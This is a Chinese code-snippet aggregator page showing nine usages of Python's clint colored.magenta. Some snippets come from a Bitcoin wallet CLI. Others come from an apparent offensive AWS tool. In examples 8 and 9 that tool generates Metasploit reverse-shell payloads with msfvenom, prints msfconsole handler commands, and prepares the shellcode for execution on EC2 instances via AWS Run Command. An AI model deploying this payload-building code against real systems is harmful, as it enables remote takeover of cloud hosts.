本文整理汇总了Python中clint.textui.colored.magenta方法的典型用法代码示例。如果您正苦于以下问题:Python colored.magenta方法的具体用法?Python colored.magenta怎么用?Python colored.magenta使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类clint.textui.colored
的用法示例。
在下文中一共展示了colored.magenta方法的9个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: logDebug
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def logDebug(text, type):
if type == DEBUG_NORMAL:
puts(colored.cyan(text))
else: # DEBUG_VERBOSE
puts(colored.magenta(text))
示例2: print_bcwallet_basic_pub_opening
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def print_bcwallet_basic_pub_opening(mpub):
puts("You've opened your HD wallet in PRIVATE key mode, so you CAN sign transactions.")
puts("If you like, you can always open your HD wallet in PUBLIC key mode like this:\n")
with indent(2):
puts(colored.magenta('$ bcwallet --wallet=%s\n' % mpub))
示例3: print_bcwallet_basic_priv_opening
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def print_bcwallet_basic_priv_opening(priv_to_display):
with indent(4):
puts(colored.magenta('$ bcwallet --wallet=%s\n' % priv_to_display))
示例4: print_bcwallet_piped_priv_opening
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def print_bcwallet_piped_priv_opening(priv_to_display):
with indent(4):
puts(colored.magenta('$ echo %s | bcwallet\n' % priv_to_display))
示例5: print_bcwallet_piped_priv_cat_opening
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def print_bcwallet_piped_priv_cat_opening():
with indent(4):
puts(colored.magenta('$ cat wallet_seed.txt | bcwallet\n'))
示例6: get_security_groups
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def get_security_groups(caller):
"""
List security groups discovered.
:param caller: calling menu to return to.
:return: None
"""
global secgroups
try:
puts(color(
'[*] Your collected security groups, if you want an updated list, invoke attacksurface:'))
for group in secgroups['groups']:
puts(colored.green("Group ID: %s" % group.get('id', '')))
puts(colored.green("Group description: %s" %
group.get('description', '')))
puts(colored.green('Group Ingress IP permissions:'))
for p in group['ip_permissions']:
ranges = ''
for iprange in p.get('ranges', []):
ranges = ranges + '%s,' % iprange['CidrIp']
if len(ranges) > 1 and ranges[-1] == ',':
ranges = ranges[:-1]
puts(colored.green('From Port: %s, To Port: %s, Protocol: %s, IP Ranges: %s' % (
p.get('fromport', 'Any'), p.get('toport', 'Any'), p.get('protocol', 'All'), ranges)))
puts(colored.green('Group Egress IP permissions:'))
for p in group['ip_permissions_egress']:
ranges = ''
for iprange in p.get('ranges', []):
ranges = ranges + '%s,' % iprange['CidrIp']
if len(ranges) > 1 and ranges[-1] == ',':
ranges = ranges[:-1]
puts(colored.green('From Port: %s, To Port: %s, Protocol: %s, IP Ranges: %s' % (
p.get('fromport', 'Any'), p.get('toport', 'Any'), p.get('protocol', 'All'), ranges)))
puts(colored.magenta('======================================='))
except Exception as e:
print(e)
puts(color(
'[!] You have no stored security groups. Run the command attacksurface to discover them'))
go_to_menu(caller)
示例7: check_command_invocations
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def check_command_invocations(caller):
"""
Check stored results of previously executed attacks on EC2 instances.
:param caller: calling menu
:return: None
"""
global command_invocations
if len(command_invocations['commands']) < 1:
puts(color(
'[!] You don\'t have any commands run yet against EC2 targets. Run ec2attacks to launch commands.'))
go_to_menu(caller)
for command in command_invocations['commands']:
puts(colored.green('command id: %s' % command.get('id')))
puts(colored.green('command instance id: %s' % command.get('instanceid')))
puts(colored.green('command state: %s' % command.get('state')))
puts(colored.green('command platform: %s' % command.get('platform')))
puts(colored.green('command region: %s' % command.get('region')))
try:
puts(colored.green('command error: %s' %
command.get('error', 'No errors')[0:5000]))
except:
pass
try:
puts(colored.green('command output: %s' %
command.get('output', 'No output')[0:5000]))
except:
pass
puts(colored.magenta('======================================='))
示例8: metasploit_installed_multiple_options
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def metasploit_installed_multiple_options(linux, windows):
"""
Prompts for metasploit options against a range of EC2 instances depending on their OS.
:param linux: Whether or not there are any targeted instances running Linux.
:param windows: Whether or not there are any targeted instances running Windows.
:return: Tuple of metasploit payloads for linux and windows.
"""
puts(color(
'[*] Choose your metasploit payload. This requires msfvenom to be installed in your system.'))
linux_tcp_meterpreterx64 = 'python/meterpreter/reverse_tcp'
linux_https_meterpreterx64 = 'python/meterpreter/reverse_https'
linux_tcp_shell = 'python/shell_reverse_tcp'
windows_tcp_meterpreterx64 = 'windows/x64/meterpreter/reverse_tcp'
windows_https_meterpreterx64 = 'windows/x64/meterpreter/reverse_https'
windows_tcp_shell = 'windows/x64/shell/reverse_tcp'
linuxattack = ''
windowsattack = ''
#remote_ip_host = prompt.query('Your remote IP or hostname to connect back to:')
#remote_port = prompt.query("Your remote port number:", default="4444")
if linux:
linux_options = [{'selector': '1', 'prompt': 'Linux Meterpreter reverse TCP x64', 'return': linux_tcp_meterpreterx64},
{'selector': '2', 'prompt': 'Linux Meterpreter reverse HTTPS x64',
'return': linux_https_meterpreterx64},
{'selector': '3', 'prompt': 'Linux TCP Shell', 'return': linux_tcp_shell}]
linuxpayload = prompt.options(
'Payload for Linux EC2 instances:', linux_options)
host = prompt.query('Your remote IP or hostname to connect back to:')
port = prompt.query(
"Your remote port number (Listener ports should be different for linux and windows):", default="4444")
linuxmsfshell = 'msfvenom -a python --platform python -p %s LHOST=%s LPORT=%s -f raw --smallest' % (
linuxpayload, host, port)
puts(color(
'[*] Run the following command on your remote listening server to run the linux payload handler:'))
msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
host, port, linuxpayload)
puts(colored.magenta(msfconsole_cmd))
linuxattack = os.popen(linuxmsfshell).read()
linuxattack = "python -c \"%s\"" % linuxattack
if windows:
windows_options = [{'selector': '1', 'prompt': 'Windows Meterpreter reverse TCP x64', 'return': windows_tcp_meterpreterx64},
{'selector': '2', 'prompt': 'Windows Meterpreter reverse HTTPS x64',
'return': windows_https_meterpreterx64},
{'selector': '3', 'prompt': 'Windows TCP Shell', 'return': windows_tcp_shell}]
windowspayload = prompt.options(
'Payload for Windows EC2 instances:', windows_options)
host = prompt.query('Your remote IP or hostname to connect back to:')
port = prompt.query(
"Your remote port number (Listener ports should be different for linux and windows):", default="5555")
windowsmsfshell = 'msfvenom -a x64 --platform Windows -p %s LHOST=%s LPORT=%s --f psh-net --smallest' % (
windowspayload, host, port)
puts(color(
'[*] Run the following command on your remote listening server to run the windows payload handler:'))
msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
host, port, windowspayload)
puts(colored.magenta(msfconsole_cmd))
windowsattack = os.popen(windowsmsfshell).read()
return linuxattack, windowsattack
示例9: metasploit_installed_options
# 需要导入模块: from clint.textui import colored [as 别名]
# 或者: from clint.textui.colored import magenta [as 别名]
def metasploit_installed_options(host, port, OS):
"""
Prompts for metasploit options against an EC2 instance depending on its OS.
:param host: IP or hostname of the listening server running metasploit exploit handler.
:param port: The port the exploit handler is listening on.
:param OS: The OS of the target instance
:return: Tuple of reverse shell payloads for linux and windows.
"""
puts(color(
'[*] Choose your metasploit payload. This requires msfvenom to be installed in your system.'))
# output = os.popen("msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh --smallest").read()`
linux_tcp_meterpreterx64 = 'python/meterpreter/reverse_tcp'
linux_https_meterpreterx64 = 'python/meterpreter/reverse_https'
linux_tcp_shell = 'python/shell_reverse_tcp'
windows_tcp_meterpreterx64 = 'windows/x64/meterpreter/reverse_tcp'
windows_https_meterpreterx64 = 'windows/x64/meterpreter/reverse_https'
windows_tcp_shell = 'windows/x64/shell/reverse_tcp'
if OS == 'linux':
action = 'AWS-RunShellScript'
shell_options = [{'selector': '1', 'prompt': 'Linux Meterpreter reverse TCP x64', 'return': linux_tcp_meterpreterx64},
{'selector': '2', 'prompt': 'Linux Meterpreter reverse HTTPS x64',
'return': linux_https_meterpreterx64},
{'selector': '3', 'prompt': 'Linux TCP Shell', 'return': linux_tcp_shell}]
else:
action = 'AWS-RunPowerShellScript'
shell_options = [{'selector': '1', 'prompt': 'Windows Meterpreter reverse TCP x64', 'return': windows_tcp_meterpreterx64}, {'selector': '2', 'prompt': 'Windows Meterpreter reverse HTTPS x64', 'return': windows_https_meterpreterx64},
{'selector': '3', 'prompt': 'Windows TCP Shell', 'return': windows_tcp_shell}]
payload = prompt.options('Payload:', shell_options)
if OS == 'linux':
msfshell = 'msfvenom -p %s LHOST=%s LPORT=%s -f raw --smallest' % (
payload, host, port)
else:
msfshell = 'msfvenom -p %s LHOST=%s LPORT=%s --f psh-net --smallest' % (
payload, host, port)
puts(color(
'[*] Run the following command on your reverse server running the handler:'))
msfconsole_cmd = "msfconsole -x 'use exploit/multi/handler; set LHOST %s; set lport %s; set payload %s;run -j;'" % (
host, port, payload)
puts(colored.magenta(msfconsole_cmd))
shellcode = os.popen(msfshell).read()
if OS == 'linux':
shellcode = "python -c \"%s\"" % shellcode
return shellcode, action